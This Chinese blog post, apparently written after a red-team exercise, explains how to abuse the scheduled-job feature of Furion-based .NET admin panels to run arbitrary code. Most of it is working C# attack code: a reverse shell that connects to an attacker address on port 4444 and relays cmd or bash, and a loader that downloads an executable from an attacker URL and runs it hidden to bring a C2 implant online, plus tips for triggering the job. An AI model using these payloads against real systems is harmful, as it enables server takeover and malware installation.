Furion框架任务调度利用姿势

上周在打攻防时,碰到一个Furion框架开发的系统,在系统后台发现了一个任务调度功能的菜单

这个功能类似于若依的定时任务,但功能上比若依的定时任务要灵活的多,允许用户执行自定义.net代码和http请求

如果要执行自定义代码Furion框架很贴心的给我们生成了一个任务模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#region using

using Furion;
using Furion.Logging;
using Furion.RemoteRequest.Extensions;
using Furion.Schedule;
using Microsoft.Extensions.DependencyInjection;
using System;
using System.Data;
using System.Linq.Dynamic.Core;
using System.Linq.Expressions;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Yitter.IdGenerator;

#endregion

namespace Admin.NET.Core;

/// <summary>
/// 动态作业任务
/// </summary>
[JobDetail("你的作业编号")]
public class DynamicJob : IJob
{
private readonly IServiceProvider _serviceProvider;

public DynamicJob(IServiceProvider serviceProvider)
{
_serviceProvider = serviceProvider;
}

public async Task ExecuteAsync(JobExecutingContext context, CancellationToken stoppingToken)
{
//任务实现代码
}
}

根据模板内容,我们只需要在ExecuteAsync方法中实现任务功能代码即可

话不多说,给出两个利用代码
反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#region using

using Furion;
using Furion.Logging;
using Furion.RemoteRequest.Extensions;
using Furion.Schedule;
using Microsoft.Extensions.DependencyInjection;
using System;
using System.Data;
using System.Linq.Dynamic.Core;
using System.Linq.Expressions;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Yitter.IdGenerator;
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;

#endregion

namespace Admin.NET.Core;

/// <summary>
/// 动态作业任务
/// </summary>
[JobDetail("test")]
public class DynamicJob : IJob
{
static StreamWriter streamWriter;
private readonly IServiceProvider _serviceProvider;
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

public DynamicJob(IServiceProvider serviceProvider)
{
_serviceProvider = serviceProvider;
}

public async Task ExecuteAsync(JobExecutingContext context, CancellationToken stoppingToken)
{
using(TcpClient client = new TcpClient("x.x.x.x", 4444)) //接收shell的地址和端口
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}

}
}

如果系统运行在linux下需要把p.StartInfo.FileName改成bashsh等解释器

远程下载上线C2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#region using

using Furion;
using Furion.Logging;
using Furion.RemoteRequest.Extensions;
using Furion.Schedule;
using Microsoft.Extensions.DependencyInjection;
using System;
using System.Data;
using System.Linq.Dynamic.Core;
using System.Linq.Expressions;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Yitter.IdGenerator;
using System.IO;
using System.Diagnostics;
using System.Net.Http;

#endregion

namespace Admin.NET.Core;

/// <summary>
/// 动态作业任务
/// </summary>
[JobDetail("job_errorlog")]
public class DynamicJob : IJob
{
private readonly IServiceProvider _serviceProvider;

public DynamicJob(IServiceProvider serviceProvider)
{
_serviceProvider = serviceProvider;
}

public async Task ExecuteAsync(JobExecutingContext context, CancellationToken stoppingToken)
{
using var serviceScope = _serviceProvider.CreateScope();

// 实现代码
try
{
// 配置参数
string remoteUrl = "http://x.x.x.x/xxx.exe"; //文件下载路径
string localPath = @"D:\xx\xxx.exe"; //落地路径
string appDirectory = @"D:\xx"; //工作目录

// 确保目录存在
Directory.CreateDirectory(appDirectory);

// 下载文件
await DownloadFileAsync(remoteUrl, localPath, stoppingToken);

// 后台运行程序
RunProgramInBackground(localPath);
}
catch (Exception ex)
{
// 简单异常处理
Console.WriteLine($"作业执行异常: {ex.Message}");
}
}

/// <summary>
/// 下载文件方法
/// </summary>
private async Task DownloadFileAsync(string url, string filePath, CancellationToken stoppingToken)
{
using var httpClient = new HttpClient();
httpClient.Timeout = TimeSpan.FromMinutes(30);

using (var response = await httpClient.GetAsync(url, HttpCompletionOption.ResponseHeadersRead, stoppingToken))
{
response.EnsureSuccessStatusCode();

using (var contentStream = await response.Content.ReadAsStreamAsync())
using (var fileStream = new FileStream(filePath, FileMode.Create, FileAccess.Write))
{
await contentStream.CopyToAsync(fileStream);
}
}
}

/// <summary>
/// 后台运行程序
/// </summary>
private void RunProgramInBackground(string filePath)
{
var processInfo = new ProcessStartInfo
{
FileName = filePath,
WorkingDirectory = Path.GetDirectoryName(filePath),
UseShellExecute = true,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
};

Process.Start(processInfo);
}
}

此方法需要文件落地,如果需要内存加载。师傅们可自行修改

需要注意的点

  • 添加任务时代码中的[JobDetail("job_errorlog")]任务名称必须和添加的任务名称一致
  • 添加任务后,必须给任务添加一个触发器,否则在手动执行任务时无法触发